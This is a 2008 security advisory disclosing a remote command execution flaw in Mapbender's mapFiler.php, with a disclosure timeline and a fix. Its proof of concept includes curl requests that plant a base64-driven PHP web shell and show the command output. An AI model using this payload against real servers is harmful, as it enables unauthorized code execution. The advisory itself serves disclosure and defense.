Remote Command Execution in Mapbender
During a penetration test RedTeam Pentesting discovered a remote command execution vulnerability in Mapbender. An unauthorized user can create arbitrary PHP-files on the Mapbender webserver, which can later be executed.
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5rc1
Vulnerability Type: Remote Command Execution
Vendor-Status: informed, fixed version released
(from the vendor's homepage)
The Mapbender software comes with a script mapFiler.php, which is located at
Due to the lack of input filtering, an attacker is able to enter valid PHP code in the "factor" input field. This PHP code is written into a newly generated file in the Mapbender webfolder. Therefore, it is possible to remotely execute the code by requesting the new file.
Proof of Concept
For this example, the user account which is used to execute php scripts needs permissions to write files to the tmp directory. Any other directory with write permissions in the web root can be used, too.
curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode( \$_GET[c])) ?>.php&button=let's go" http://www.example.com/
creates a file
tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.
with the content:
#Modified by MapbenderTools
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php
This script can then be executed by calling:
curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
#Modified by MapbenderTools
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Commands sent to the script have to be base64 encoded and will be decoded by the PHP code, to avoid possible URL filtering on the victim's side.
If not needed, the mapfiler.php script can be removed. Otherwise, it can be protected by using an .htaccess directive.
The vulnerability is fixed in release 2.4.5 rc1.
The security risk is rated as high. An attacker can execute arbitrary commands remotely with the rights of the webserver.
2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released
2009-05-08 Updated Advisory URL
RedTeam Pentesting GmbH
RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
More information about RedTeam Pentesting can be found at http://www.redteam-pentesting.de.